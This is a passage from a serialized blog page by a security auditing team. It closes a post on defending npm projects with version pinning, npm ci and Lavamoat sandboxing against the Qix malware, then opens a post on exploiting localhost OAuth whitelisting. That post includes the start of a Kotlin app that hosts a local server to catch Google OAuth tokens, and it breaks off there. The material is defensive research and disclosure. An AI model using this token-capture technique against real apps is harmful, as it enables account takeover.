3,"tag":230,"props":100842,"children":100843},{"class":232,"line":252},[100844,100849,100853,100858],{"type":23,"tag":230,"props":100845,"children":100846},{"style":380},[100847],{"type":29,"value":100848},"\"@react-native-community/netinfo\"",{"type":23,"tag":230,"props":100850,"children":100851},{"style":274},[100852],{"type":29,"value":817},{"type":23,"tag":230,"props":100854,"children":100855},{"style":380},[100856],{"type":29,"value":100857},"\"11.4.1\"",{"type":23,"tag":230,"props":100859,"children":100860},{"style":274},[100861],{"type":29,"value":388},{"type":23,"tag":230,"props":100863,"children":100864},{"class":232,"line":280},[100865,100870,100874],{"type":23,"tag":230,"props":100866,"children":100867},{"style":380},[100868],{"type":29,"value":100869},"\"@react-native-picker/picker\"",{"type":23,"tag":230,"props":100871,"children":100872},{"style":274},[100873],{"type":29,"value":817},{"type":23,"tag":230,"props":100875,"children":100876},{"style":380},[100877],{"type":29,"value":100878},"\"2.11.0\"\n",{"type":23,"tag":59,"props":100880,"children":100882},{"id":100881},"_2-use-npm-ci",[100883,100885],{"type":29,"value":100884},"2. Use ",{"type":23,"tag":71,"props":100886,"children":100888},{"className":100887},[],[100889],{"type":29,"value":100890},"npm ci",{"type":23,"tag":32,"props":100892,"children":100893},{},[100894,100899,100901,100907,100909,100914],{"type":23,"tag":71,"props":100895,"children":100897},{"className":100896},[],[100898],{"type":29,"value":100890},{"type":29,"value":100900}," uses the dependency versions from ",{"type":23,"tag":71,"props":100902,"children":100904},{"className":100903},[],[100905],{"type":29,"value":100906},"package-lock.json",{"type":29,"value":100908}," to install the packages. Consider using it in CI/CD workflows and only use ",{"type":23,"tag":71,"props":100910,"children":100912},{"className":100911},[],[100913],{"type":29,"value":100776},{"type":29,"value":100915}," when adding a new package or updating an existing one.",{"type":23,"tag":59,"props":100917,"children":100919},{"id":100918},"_3-implement-lavamoat",[100920,100922],{"type":29,"value":100921},"3. Implement ",{"type":23,"tag":181,"props":100923,"children":100926},{"href":100924,"rel":100925},"https://github.com/LavaMoat/LavaMoat/tree/main",[185],[100927],{"type":23,"tag":2302,"props":100928,"children":100929},{},[100930],{"type":29,"value":100931},"Lavamoat",{"type":23,"tag":32,"props":100933,"children":100934},{},[100935],{"type":29,"value":100936},"Basic hygiene helps, but it doesn’t solve the root issue: a minor utility package has the same permissions as your code. Lavamoat changes this model. Lavamoat, created by MetaMask, addresses this by sandboxing packages and enforcing least privilege. With it, even if a dependency contains malware, it cannot compromise the application.",{"type":23,"tag":32,"props":100938,"children":100939},{},[100940],{"type":29,"value":100941},"Lavamoat uses SES (Hardened JavaScript) to enforce these restrictions, limiting the globals, functions, and sub-dependencies each package can access. The rules are defined in a policy file, which looks like this:",{"type":23,"tag":220,"props":100943,"children":100945},{"code":100944,"language":1680,"meta":7,"className":1678,"style":7},"\"resources\": {\n    \"@ethereumjs/util>@ethereumjs/rlp\": {\n      \"globals\": {\n        \"TextEncoder\": true\n      }\n    },\n    \"@ethereumjs/util\": {\n      \"globals\": {\n        \"console.warn\": true,\n        \"fetch\": true\n      },\n      \"packages\": {\n        \"@ethereumjs/util>@ethereumjs/rlp\": true,\n        \"@ethereumjs/util>ethereum-cryptography\": true\n      }\n    }\n}\n",[100946],{"type":23,"tag":71,"props":100947,"children":100948},{"__ignoreMap":7},[100949,100961,100973,100984,101000,101007,101014,101026,101037,101057,101073,101080,101091,101111,101127,101134,101141],{"type":23,"tag":230,"props":100950,"children":100951},{"class":232,"line":233},[100952,100957],{"type":23,"tag":230,"props":100953,"children":100954},{"style":380},[100955],{"type":29,"value":100956},"\"resources\"",{"type":23,"tag":230,"props":100958,"children":100959},{"style":274},[100960],{"type":29,"value":1697},{"type":23,"tag":230,"props":100962,"children":100963},{"class":232,"line":243},[100964,100969],{"type":23,"tag":230,"props":100965,"children":100966},{"style":262},[100967],{"type":29,"value":100968},"    \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":23,"tag":230,"props":100970,"children":100971},{"style":274},[100972],{"type":29,"value":1697},{"type":23,"tag":230,"props":100974,"children":100975},{"class":232,"line":252},[100976,100980],{"type":23,"tag":230,"props":100977,"children":100978},{"style":262},[100979],{"type":29,"value":1705},{"type":23,"tag":230,"props":100981,"children":100982},{"style":274},[100983],{"type":29,"value":1697},{"type":23,"tag":230,"props":100985,"children":100986},{"class":232,"line":280},[100987,100992,100996],{"type":23,"tag":230,"props":100988,"children":100989},{"style":262},[100990],{"type":29,"value":100991},"        \"TextEncoder\"",{"type":23,"tag":230,"props":100993,"children":100994},{"style":274},[100995],{"type":29,"value":817},{"type":23,"tag":230,"props":100997,"children":100998},{"style":256},[100999],{"type":29,"value":1867},{"type":23,"tag":230,"props":101001,"children":101002},{"class":232,"line":334},[101003],{"type":23,"tag":230,"props":101004,"children":101005},{"style":274},[101006],{"type":29,"value":1931},{"type":23,"tag":230,"props":101008,"children":101009},{"class":232,"line":371},[101010],{"type":23,"tag":230,"props":101011,"children":101012},{"style":274},[101013],{"type":29,"value":27688},{"type":23,"tag":230,"props":101015,"children":101016},{"class":232,"line":391},[101017,101022],{"type":23,"tag":230,"props":101018,"children":101019},{"style":262},[101020],{"type":29,"value":101021},"    \"@ethereumjs/util\"",{"type":23,"tag":230,"props":101023,"children":101024},{"style":274},[101025],{"type":29,"value":1697},{"type":23,"tag":230,"props":101027,"children":101028},{"class":232,"line":400},[101029,101033],{"type":23,"tag":230,"props":101030,"children":101031},{"style":262},[101032],{"type":29,"value":1705},{"type":23,"tag":230,"props":101034,"children":101035},{"style":274},[101036],{"type":29,"value":1697},{"type":23,"tag":230,"props":101038,"children":101039},{"class":232,"line":444},[101040,101045,101049,101053],{"type":23,"tag":230,"props":101041,"children":101042},{"style":262},[101043],{"type":29,"value":101044},"        \"console.warn\"",{"type":23,"tag":230,"props":101046,"children":101047},{"style":274},[101048],{"type":29,"value":817},{"type":23,"tag":230,"props":101050,"children":101051},{"style":256},[101052],{"type":29,"value":1726},{"type":23,"tag":230,"props":101054,"children":101055},{"style":274},[101056],{"type":29,"value":388},{"type":23,"tag":230,"props":101058,"children":101059},{"class":232,"line":453},[101060,101065,101069],{"type":23,"tag":230,"props":101061,"children":101062},{"style":262},[101063],{"type":29,"value":101064},"        \"fetch\"",{"type":23,"tag":230,"props":101066,"children":101067},{"style":274},[101068],{"type":29,"value":817},{"type":23,"tag":230,"props":101070,"children":101071},{"style":256},[101072],{"type":29,"value":1867},{"type":23,"tag":230,"props":101074,"children":101075},{"class":232,"line":462},[101076],{"type":23,"tag":230,"props":101077,"children":101078},{"style":274},[101079],{"type":29,"value":1875},{"type":23,"tag":230,"props":101081,"children":101082},{"class":232,"line":471},[101083,101087],{"type":23,"tag":230,"props":101084,"children":101085},{"style":262},[101086],{"type":29,"value":1883},{"type":23,"tag":230,"props":101088,"children":101089},{"style":274},[101090],{"type":29,"value":1697},{"type":23,"tag":230,"props":101092,"children":101093},{"class":232,"line":500},[101094,101099,101103,101107],{"type":23,"tag":230,"props":101095,"children":101096},{"style":262},[101097],{"type":29,"value":101098},"        \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":23,"tag":230,"props":101100,"children":101101},{"style":274},[101102],{"type":29,"value":817},{"type":23,"tag":230,"props":101104,"children":101105},{"style":256},[101106],{"type":29,"value":1726},{"type":23,"tag":230,"props":101108,"children":101109},{"style":274},[101110],{"type":29,"value":388},{"type":23,"tag":230,"props":101112,"children":101113},{"class":232,"line":514},[101114,101119,101123],{"type":23,"tag":230,"props":101115,"children":101116},{"style":262},[101117],{"type":29,"value":101118},"        \"@ethereumjs/util>ethereum-cryptography\"",{"type":23,"tag":230,"props":101120,"children":101121},{"style":274},[101122],{"type":29,"value":817},{"type":23,"tag":230,"props":101124,"children":101125},{"style":256},[101126],{"type":29,"value":1867},{"type":23,"tag":230,"props":101128,"children":101129},{"class":232,"line":897},[101130],{"type":23,"tag":230,"props":101131,"children":101132},{"style":274},[101133],{"type":29,"value":1931},{"type":23,"tag":230,"props":101135,"children":101136},{"class":232,"line":960},[101137],{"type":23,"tag":230,"props":101138,"children":101139},{"style":274},[101140],{"type":29,"value":1552},{"type":23,"tag":230,"props":101142,"children":101143},{"class":232,"line":969},[101144],{"type":23,"tag":230,"props":101145,"children":101146},{"style":274},[101147],{"type":29,"value":975},{"type":23,"tag":32,"props":101149,"children":101150},{},[101151,101153,101159,101161,101167,101168,101173,101175,101181,101182,101188],{"type":29,"value":101152},"In this example, it restricts the ",{"type":23,"tag":71,"props":101154,"children":101156},{"className":101155},[],[101157],{"type":29,"value":101158},"@ethereumjs/util",{"type":29,"value":101160}," package to use only ",{"type":23,"tag":71,"props":101162,"children":101164},{"className":101163},[],[101165],{"type":29,"value":101166},"console.warn",{"type":29,"value":112},{"type":23,"tag":71,"props":101169,"children":101171},{"className":101170},[],[101172],{"type":29,"value":36385},{"type":29,"value":101174}," functions, and to include only ",{"type":23,"tag":71,"props":101176,"children":101178},{"className":101177},[],[101179],{"type":29,"value":101180},"@ethereumjs/rlp",{"type":29,"value":112},{"type":23,"tag":71,"props":101183,"children":101185},{"className":101184},[],[101186],{"type":29,"value":101187},"ethereum-cryptography",{"type":29,"value":101189}," packages.",{"type":23,"tag":32,"props":101191,"children":101192},{},[101193],{"type":29,"value":101194},"The policy files can be generated automatically and should be regenerated carefully, because if you generate a policy while a malicious package is installed, Lavamoat’s protection can be bypassed.",{"type":23,"tag":32,"props":101196,"children":101197},{},[101198,101200,101206],{"type":29,"value":101199},"Lavamoat also automatically freezes the global objects to prevent them being replaced or tampered with. See ",{"type":23,"tag":181,"props":101201,"children":101204},{"href":101202,"rel":101203},"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze",[185],[101205],{"type":29,"value":2054},{"type":29,"value":312},{"type":23,"tag":59,"props":101208,"children":101210},{"id":101209},"lavamoat-vs-qix-malware",[101211],{"type":29,"value":101212},"Lavamoat vs Qix Malware",{"type":23,"tag":32,"props":101214,"children":101215},{},[101216,101218,101223],{"type":29,"value":101217},"If a dApp were compromised with the Qix malware (say it used ",{"type":23,"tag":71,"props":101219,"children":101221},{"className":101220},[],[101222],{"type":29,"value":99063},{"type":29,"value":101224},"), it would need to perform the following actions to drain funds from a wallet:",{"type":23,"tag":144,"props":101226,"children":101227},{},[101228,101240,101251,101262],{"type":23,"tag":102,"props":101229,"children":101230},{},[101231,101233,101238],{"type":29,"value":101232},"Replace ",{"type":23,"tag":71,"props":101234,"children":101236},{"className":101235},[],[101237],{"type":29,"value":36385},{"type":29,"value":101239}," function to a custom one",{"type":23,"tag":102,"props":101241,"children":101242},{},[101243,101245],{"type":29,"value":101244},"Access ",{"type":23,"tag":71,"props":101246,"children":101248},{"className":101247},[],[101249],{"type":29,"value":101250},"window.ethereum",{"type":23,"tag":102,"props":101252,"children":101253},{},[101254,101256,101261],{"type":29,"value":101255},"Call original ",{"type":23,"tag":71,"props":101257,"children":101259},{"className":101258},[],[101260],{"type":29,"value":36385},{"type":29,"value":2903},{"type":23,"tag":102,"props":101263,"children":101264},{},[101265],{"type":29,"value":101266},"Plus other actions not relevant here",{"type":23,"tag":32,"props":101268,"children":101269},{},[101270,101272,101278],{"type":29,"value":101271},"If the dApp is using Lavamoat with a generated policy for ",{"type":23,"tag":71,"props":101273,"children":101275},{"className":101274},[],[101276],{"type":29,"value":101277},"chalk 5.6.0",{"type":29,"value":101279}," (non-malicious version) it would look like this:",{"type":23,"tag":220,"props":101281,"children":101283},{"code":101282,"language":1680,"meta":7,"className":1678,"style":7},"\"chalk\": {\n      \"globals\": {\n        \"navigator.userAgent\": true,\n        \"navigator.userAgentData\": true\n      }\n    },\n",[101284],{"type":23,"tag":71,"props":101285,"children":101286},{"__ignoreMap":7},[101287,101299,101310,101330,101346,101353],{"type":23,"tag":230,"props":101288,"children":101289},{"class":232,"line":233},[101290,101295],{"type":23,"tag":230,"props":101291,"children":101292},{"style":380},[101293],{"type":29,"value":101294},"\"chalk\"",{"type":23,"tag":230,"props":101296,"children":101297},{"style":274},[101298],{"type":29,"value":1697},{"type":23,"tag":230,"props":101300,"children":101301},{"class":232,"line":243},[101302,101306],{"type":23,"tag":230,"props":101303,"children":101304},{"style":262},[101305],{"type":29,"value":1705},{"type":23,"tag":230,"props":101307,"children":101308},{"style":274},[101309],{"type":29,"value":1697},{"type":23,"tag":230,"props":101311,"children":101312},{"class":232,"line":252},[101313,101318,101322,101326],{"type":23,"tag":230,"props":101314,"children":101315},{"style":262},[101316],{"type":29,"value":101317},"        \"navigator.userAgent\"",{"type":23,"tag":230,"props":101319,"children":101320},{"style":274},[101321],{"type":29,"value":817},{"type":23,"tag":230,"props":101323,"children":101324},{"style":256},[101325],{"type":29,"value":1726},{"type":23,"tag":230,"props":101327,"children":101328},{"style":274},[101329],{"type":29,"value":388},{"type":23,"tag":230,"props":101331,"children":101332},{"class":232,"line":280},[101333,101338,101342],{"type":23,"tag":230,"props":101334,"children":101335},{"style":262},[101336],{"type":29,"value":101337},"        \"navigator.userAgentData\"",{"type":23,"tag":230,"props":101339,"children":101340},{"style":274},[101341],{"type":29,"value":817},{"type":23,"tag":230,"props":101343,"children":101344},{"style":256},[101345],{"type":29,"value":1867},{"type":23,"tag":230,"props":101347,"children":101348},{"class":232,"line":334},[101349],{"type":23,"tag":230,"props":101350,"children":101351},{"style":274},[101352],{"type":29,"value":1931},{"type":23,"tag":230,"props":101354,"children":101355},{"class":232,"line":371},[101356],{"type":23,"tag":230,"props":101357,"children":101358},{"style":274},[101359],{"type":29,"value":27688},{"type":23,"tag":32,"props":101361,"children":101362},{},[101363,101365,101371],{"type":29,"value":101364},"That means that the chalk dependency can only access these two global attributes from ",{"type":23,"tag":71,"props":101366,"children":101368},{"className":101367},[],[101369],{"type":29,"value":101370},"navigator",{"type":29,"value":312},{"type":23,"tag":32,"props":101373,"children":101374},{},[101375,101377,101383],{"type":29,"value":101376},"When the compromised dApp would execute the malicious payload of ",{"type":23,"tag":71,"props":101378,"children":101380},{"className":101379},[],[101381],{"type":29,"value":101382},"chalk v5.6.1",{"type":29,"value":101384}," it would fail due to insufficient permissions:",{"type":23,"tag":32,"props":101386,"children":101387},{},[101388],{"type":23,"tag":93,"props":101389,"children":101391},{"alt":52351,"src":101390},"/posts/supply-chain-attcks/error.png",[],{"type":23,"tag":32,"props":101393,"children":101394},{},[101395,101397,101402],{"type":29,"value":101396},"This error shows that the malware failed since it cannot redefine ",{"type":23,"tag":71,"props":101398,"children":101400},{"className":101399},[],[101401],{"type":29,"value":36385},{"type":29,"value":27775},{"type":23,"tag":220,"props":101404,"children":101406},{"code":101405},"TypeError#1: Cannot define property fetch, object is not extensible\n",[101407],{"type":23,"tag":71,"props":101408,"children":101409},{"__ignoreMap":7},[101410],{"type":29,"value":101405},{"type":23,"tag":24,"props":101412,"children":101414},{"id":101413},"lavamoat-in-practice",[101415],{"type":29,"value":101416},"Lavamoat In Practice",{"type":23,"tag":32,"props":101418,"children":101419},{},[101420,101422,101429],{"type":29,"value":101421},"The OtterSec team audited the Lavamoat Webpack Plugin in late 2024 and identified vulnerabilities that attackers could abuse to bypass Lavamoat protections (",{"type":23,"tag":181,"props":101423,"children":101426},{"href":101424,"rel":101425},"https://osec.io/reports/lavamoat_audit_final.pdf",[185],[101427],{"type":29,"value":101428},"see the audit report",{"type":29,"value":23057},{"type":23,"tag":32,"props":101431,"children":101432},{},[101433],{"type":29,"value":101434},"Like any security tool, it isn’t flawless, but it represents an important shift: it minimizes what malicious code can do, rather than assuming every dependency deserves full trust. Supply-chain attacks are designed to hit as many victims as possible, not to target individual organizations. By implementing Lavamoat, you dramatically reduce your exposure and force attackers to look elsewhere.",{"type":23,"tag":24,"props":101436,"children":101437},{"id":77576},[101438],{"type":29,"value":77579},{"type":23,"tag":32,"props":101440,"children":101441},{},[101442],{"type":29,"value":101443},"The NPM incident may not have caused massive losses, but it was a clear proof-of-concept for how fragile the current model is. Supply-chain attacks will happen again, and relying on registry security alone is not enough.",{"type":23,"tag":32,"props":101445,"children":101446},{},[101447,101449,101454],{"type":29,"value":101448},"Version pinning and ",{"type":23,"tag":71,"props":101450,"children":101452},{"className":101451},[],[101453],{"type":29,"value":100890},{"type":29,"value":101455}," provide a baseline defense, but Lavamoat represents the next step: enforcing least privilege for dependencies. If you’re building critical applications, adopting and contributing to Lavamoat is one of the most effective ways to stay ahead.",{"type":23,"tag":5178,"props":101457,"children":101458},{},[101459],{"type":29,"value":5182},{"title":7,"searchDepth":243,"depth":243,"links":101461},[101462,101465,101466,101475,101476],{"id":99078,"depth":243,"text":99081,"children":101463},[101464],{"id":100713,"depth":252,"text":100716},{"id":100724,"depth":243,"text":100727},{"id":100740,"depth":243,"text":100743,"children":101467},[101468,101470,101472,101474],{"id":100751,"depth":252,"text":101469},"1. Version pinning in package.json",{"id":100881,"depth":252,"text":101471},"2. Use npm ci",{"id":100918,"depth":252,"text":101473},"3. Implement Lavamoat",{"id":101209,"depth":252,"text":101212},{"id":101413,"depth":243,"text":101416},{"id":77576,"depth":243,"text":77579},"content:blog:2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks",{"_path":101481,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":101482,"description":101483,"date":101484,"author":101485,"image":101486,"isFeatured":18,"onBlogPage":18,"tags":101488,"body":101491,"_type":5202,"_id":103822,"_source":5204,"_file":103823,"_stem":103824,"_extension":5207},"/blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations","How We Broke Exchanges: A Deep Dive Into Authentication And Client-Side Bugs","OAuth misconfigurations show how common dev settings can lead to account takeovers. Explore real cases where failing to account for differences between desktop and mobile environments left SDKs, exchanges, and wallets vulnerable to exploits.","2025-10-16T12:00:00.000Z",[11,12],{"src":101487,"width":99047,"height":16},"/posts/oauth-misconfigurations/title.png",[101489,101490],"oAuth","exchanges",{"type":20,"children":101492,"toc":103809},[101493,101499,101504,101510,101530,101536,101541,101554,101559,101567,101581,101590,101599,101613,101621,101632,101692,101698,101710,101759,101765,101770,101783,101790,101801,101821,101840,101861,101867,101880,101885,101891,101910,102535,102540,102553,103414,103419,103424,103430,103435,103441,103446,103459,103499,103505,103518,103523,103556,103561,103566,103591,103596,103608,103765,103770,103774,103786,103791,103795,103800,103805],{"type":23,"tag":24,"props":101494,"children":101496},{"id":101495},"exploiting-oauth",[101497],{"type":29,"value":101498},"Exploiting OAuth",{"type":23,"tag":32,"props":101500,"children":101501},{},[101502],{"type":29,"value":101503},"Our main research focus was related to recent vulnerabilities we found in some of our audits. One common issue we find is related to OAuth misconfigurations that can be exploited to achieve account takeover. To understand the vulnerability and the exploit itself, we first need to dig into the different OAuth flows and the configurations that can be made in the Google Cloud Console.",{"type":23,"tag":59,"props":101505,"children":101507},{"id":101506},"google-authentication-flows",[101508],{"type":29,"value":101509},"Google Authentication Flows",{"type":23,"tag":32,"props":101511,"children":101512},{},[101513,101515,101521,101523,101528],{"type":29,"value":101514},"During our research, we identified various Google Authentication flows that require different exploitation methods. The new/most recent flow is called GSI, which mainly uses ",{"type":23,"tag":71,"props":101516,"children":101518},{"className":101517},[],[101519],{"type":29,"value":101520},"postMessage",{"type":29,"value":101522}," for communication with the Relying Party (RP), and the old one mostly uses ",{"type":23,"tag":71,"props":101524,"children":101526},{"className":101525},[],[101527],{"type":29,"value":71542},{"type":29,"value":101529}," to send the token back to the RP.",{"type":23,"tag":192,"props":101531,"children":101533},{"id":101532},"gsi-new-flow",[101534],{"type":29,"value":101535},"GSI (New Flow)",{"type":23,"tag":32,"props":101537,"children":101538},{},[101539],{"type":29,"value":101540},"The GSI flow also has two ways to authenticate the user to the RP:",{"type":23,"tag":98,"props":101542,"children":101543},{},[101544,101549],{"type":23,"tag":102,"props":101545,"children":101546},{},[101547],{"type":29,"value":101548},"Using FedCM API",{"type":23,"tag":102,"props":101550,"children":101551},{},[101552],{"type":29,"value":101553},"Without using FedCM API",{"type":23,"tag":32,"props":101555,"children":101556},{},[101557],{"type":29,"value":101558},"FedCM (Federated Credentials Manager) is a new browser API that lets users authenticate natively to an RP using a third-party IdP.",{"type":23,"tag":32,"props":101560,"children":101561},{},[101562],{"type":23,"tag":2302,"props":101563,"children":101564},{},[101565],{"type":29,"value":101566},"FedCM Method",{"type":23,"tag":32,"props":101568,"children":101569},{},[101570,101572,101579],{"type":29,"value":101571},"The FedCM method basically follows this ",{"type":23,"tag":181,"props":101573,"children":101576},{"href":101574,"rel":101575},"https://privacysandbox.google.com/cookies/fedcm/why#user-interaction",[185],[101577],{"type":29,"value":101578},"user experience",{"type":29,"value":101580},". Users can log in by clicking a login button (which will open a \"choose your account\" prompt window) or by 1-tap UX (see images below).",{"type":23,"tag":32,"props":101582,"children":101583},{},[101584,101586],{"type":29,"value":101585},"The normal flow, clicking the \"sign in\" button:\n",{"type":23,"tag":93,"props":101587,"children":101589},{"alt":52351,"src":101588},"/posts/oauth-misconfigurations/image1.png",[],{"type":23,"tag":32,"props":101591,"children":101592},{},[101593,101595],{"type":29,"value":101594},"One-Tap popup shown when you open the page:\n",{"type":23,"tag":93,"props":101596,"children":101598},{"alt":52351,"src":101597},"/posts/oauth-misconfigurations/image2.png",[],{"type":23,"tag":32,"props":101600,"children":101601},{},[101602,101604,101611],{"type":29,"value":101603},"Both flows use FedCM API to authenticate using Google IdP service, which makes some CORS requests to the IdP server to return the token. After authenticating the first time, when the user returns to the same website after some time, it is possible to automatically reauthenticate using ",{"type":23,"tag":181,"props":101605,"children":101608},{"href":101606,"rel":101607},"https://github.com/w3c-fedid/FedCM/issues/429",[185],[101609],{"type":29,"value":101610},"FedCM auto-reauthentication",{"type":29,"value":101612},", which has certain preconditions that must be met.",{"type":23,"tag":32,"props":101614,"children":101615},{},[101616],{"type":23,"tag":2302,"props":101617,"children":101618},{},[101619],{"type":29,"value":101620},"Non-FedCM Method",{"type":23,"tag":32,"props":101622,"children":101623},{},[101624,101626,101631],{"type":29,"value":101625},"This method uses a popup window (or iframe) to open the Google OAuth consent page and return the token via ",{"type":23,"tag":71,"props":101627,"children":101629},{"className":101628},[],[101630],{"type":29,"value":101520},{"type":29,"value":218},{"type":23,"tag":144,"props":101633,"children":101634},{},[101635,101640,101664,101669,101680],{"type":23,"tag":102,"props":101636,"children":101637},{},[101638],{"type":29,"value":101639},"The user clicks the sign in button",{"type":23,"tag":102,"props":101641,"children":101642},{},[101643,101645,101651,101653,101658,101659],{"type":29,"value":101644},"RP opens a popup/iframe to ",{"type":23,"tag":181,"props":101646,"children":101649},{"href":101647,"rel":101648},"https://accounts.google.com/o/oauth2/v2/auth",[185],[101650],{"type":29,"value":101647},{"type":29,"value":101652}," with some important parameters like ",{"type":23,"tag":71,"props":101654,"children":101656},{"className":101655},[],[101657],{"type":29,"value":71374},{"type":29,"value":112},{"type":23,"tag":71,"props":101660,"children":101662},{"className":101661},[],[101663],{"type":29,"value":4877},{"type":23,"tag":102,"props":101665,"children":101666},{},[101667],{"type":29,"value":101668},"The user clicks the \"Continue\" button to authorize authentication",{"type":23,"tag":102,"props":101670,"children":101671},{},[101672,101674],{"type":29,"value":101673},"They get redirected to ",{"type":23,"tag":181,"props":101675,"children":101678},{"href":101676,"rel":101677},"https://accounts.google.com/gsi/transform",[185],[101679],{"type":29,"value":101676},{"type":23,"tag":102,"props":101681,"children":101682},{},[101683,101685,101690],{"type":29,"value":101684},"/gsi/transform sends the token back to the RP via ",{"type":23,"tag":71,"props":101686,"children":101688},{"className":101687},[],[101689],{"type":29,"value":101520},{"type":29,"value":101691}," (after some SYN/ACK messages)",{"type":23,"tag":192,"props":101693,"children":101695},{"id":101694},"oauth-20-old-flow",[101696],{"type":29,"value":101697},"OAuth 2.0 Old Flow",{"type":23,"tag":32,"props":101699,"children":101700},{},[101701,101703,101708],{"type":29,"value":101702},"The old flow also redirects the user to the Google OAuth consent page and then returns the token via a ",{"type":23,"tag":71,"props":101704,"children":101706},{"className":101705},[],[101707],{"type":29,"value":71542},{"type":29,"value":101709}," provided in the URL and validated by a whitelist configuration:",{"type":23,"tag":144,"props":101711,"children":101712},{},[101713,101717,101738,101742],{"type":23,"tag":102,"props":101714,"children":101715},{},[101716],{"type":29,"value":101639},{"type":23,"tag":102,"props":101718,"children":101719},{},[101720,101721,101726,101727,101732,101733],{"type":29,"value":101644},{"type":23,"tag":181,"props":101722,"children":101724},{"href":101647,"rel":101723},[185],[101725],{"type":29,"value":101647},{"type":29,"value":101652},{"type":23,"tag":71,"props":101728,"children":101730},{"className":101729},[],[101731],{"type":29,"value":71374},{"type":29,"value":112},{"type":23,"tag":71,"props":101734,"children":101736},{"className":101735},[],[101737],{"type":29,"value":71542},{"type":23,"tag":102,"props":101739,"children":101740},{},[101741],{"type":29,"value":101668},{"type":23,"tag":102,"props":101743,"children":101744},{},[101745,101746,101751,101753],{"type":29,"value":101673},{"type":23,"tag":71,"props":101747,"children":101749},{"className":101748},[],[101750],{"type":29,"value":71542},{"type":29,"value":101752}," with the token in the query parameters or ",{"type":23,"tag":71,"props":101754,"children":101756},{"className":101755},[],[101757],{"type":29,"value":101758},"location.hash",{"type":23,"tag":192,"props":101760,"children":101762},{"id":101761},"different-configurations",[101763],{"type":29,"value":101764},"Different Configurations",{"type":23,"tag":32,"props":101766,"children":101767},{},[101768],{"type":29,"value":101769},"These two flows must be configured differently in the Google Cloud Console. There are two whitelist configurations that we can control:",{"type":23,"tag":98,"props":101771,"children":101772},{},[101773,101778],{"type":23,"tag":102,"props":101774,"children":101775},{},[101776],{"type":29,"value":101777},"Authorized origins",{"type":23,"tag":102,"props":101779,"children":101780},{},[101781],{"type":29,"value":101782},"Authorized redirect URIs",{"type":23,"tag":32,"props":101784,"children":101785},{},[101786],{"type":23,"tag":93,"props":101787,"children":101789},{"alt":52351,"src":101788},"/posts/oauth-misconfigurations/image3.png",[],{"type":23,"tag":32,"props":101791,"children":101792},{},[101793,101795,101800],{"type":29,"value":101794},"The described GSI flow doesn't use any redirection to send the token back to the RP, so the authorized redirect URI is not that important in the GSI flow. It uses the authorized origins to verify if the RP page is actually allowed to be authenticated using that ",{"type":23,"tag":71,"props":101796,"children":101798},{"className":101797},[],[101799],{"type":29,"value":71374},{"type":29,"value":312},{"type":23,"tag":32,"props":101802,"children":101803},{},[101804,101806,101812,101814,101819],{"type":29,"value":101805},"The actual verification in the GSI flow happens in the CORS requests made by FedCM or in ",{"type":23,"tag":71,"props":101807,"children":101809},{"className":101808},[],[101810],{"type":29,"value":101811},"/oauth2/v2/auth",{"type":29,"value":101813}," by checking the ",{"type":23,"tag":71,"props":101815,"children":101817},{"className":101816},[],[101818],{"type":29,"value":4877},{"type":29,"value":101820}," query parameter.",{"type":23,"tag":32,"props":101822,"children":101823},{},[101824,101826,101831,101833,101838],{"type":29,"value":101825},"In the old flow, the ",{"type":23,"tag":71,"props":101827,"children":101829},{"className":101828},[],[101830],{"type":29,"value":71542},{"type":29,"value":101832}," parameter passed in the ",{"type":23,"tag":71,"props":101834,"children":101836},{"className":101835},[],[101837],{"type":29,"value":101811},{"type":29,"value":101839}," endpoint is validated against the authorized redirect URIs.",{"type":23,"tag":32,"props":101841,"children":101842},{},[101843,101845,101850,101852,101859],{"type":29,"value":101844},"Note that the new GSI flow can also have a different flow using ",{"type":23,"tag":71,"props":101846,"children":101848},{"className":101847},[],[101849],{"type":29,"value":71542},{"type":29,"value":101851}," validation. To execute this flow, you need to specify ",{"type":23,"tag":181,"props":101853,"children":101856},{"href":101854,"rel":101855},"https://developers.google.com/identity/gsi/web/reference/js-reference#login_uri",[185],[101857],{"type":29,"value":101858},"login_uri",{"type":29,"value":101860}," while using the SDK.",{"type":23,"tag":59,"props":101862,"children":101864},{"id":101863},"localhost-exploit",[101865],{"type":29,"value":101866},"Localhost Exploit",{"type":23,"tag":32,"props":101868,"children":101869},{},[101870,101872,101878],{"type":29,"value":101871},"During one of our audits, we found a bug related to how developers test the OAuth flow in their development environment. Developers often whitelist the ",{"type":23,"tag":71,"props":101873,"children":101875},{"className":101874},[],[101876],{"type":29,"value":101877},"localhost",{"type":29,"value":101879}," origin because it is considered trusted for local testing.",{"type":23,"tag":32,"props":101881,"children":101882},{},[101883],{"type":29,"value":101884},"Actually, this is partially true, as it depends on which security assumptions you make. This can be an issue in a mobile environment, as mobile apps can open localhost webservers without many permissions, and having a malicious app installed is not considered a significant issue on mobile since all applications are sandboxed. This configuration allows a malicious application to \"escape\" the sandbox and attack another system.",{"type":23,"tag":192,"props":101886,"children":101888},{"id":101887},"exploit",[101889],{"type":29,"value":101890},"Exploit",{"type":23,"tag":32,"props":101892,"children":101893},{},[101894,101896,101901,101902,101908],{"type":29,"value":101895},"To exploit this misconfiguration, we first needed to understand the OAuth flow used by the target. If the OAuth implementation follows a standard flow without using Google Sign-In (GSI), we can extract the token via ",{"type":23,"tag":71,"props":101897,"children":101899},{"className":101898},[],[101900],{"type":29,"value":101758},{"type":29,"value":2769},{"type":23,"tag":71,"props":101903,"children":101905},{"className":101904},[],[101906],{"type":29,"value":101907},"location.search",{"type":29,"value":101909},". To achieve this, we developed a Kotlin application that spins up a local web server:",{"type":23,"tag":220,"props":101911,"children":101915},{"className":101912,"code":101913,"language":101914,"meta":7,"style":7},"language-kt shiki shiki-themes slack-dark"," override fun onCreate(savedInstanceState: Bundle?){\n        super.onCreate(savedInstanceState)\n\n        // Start the Ktor web server\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        // Open the Google OAuth page\n        val googleOAuthUrl = 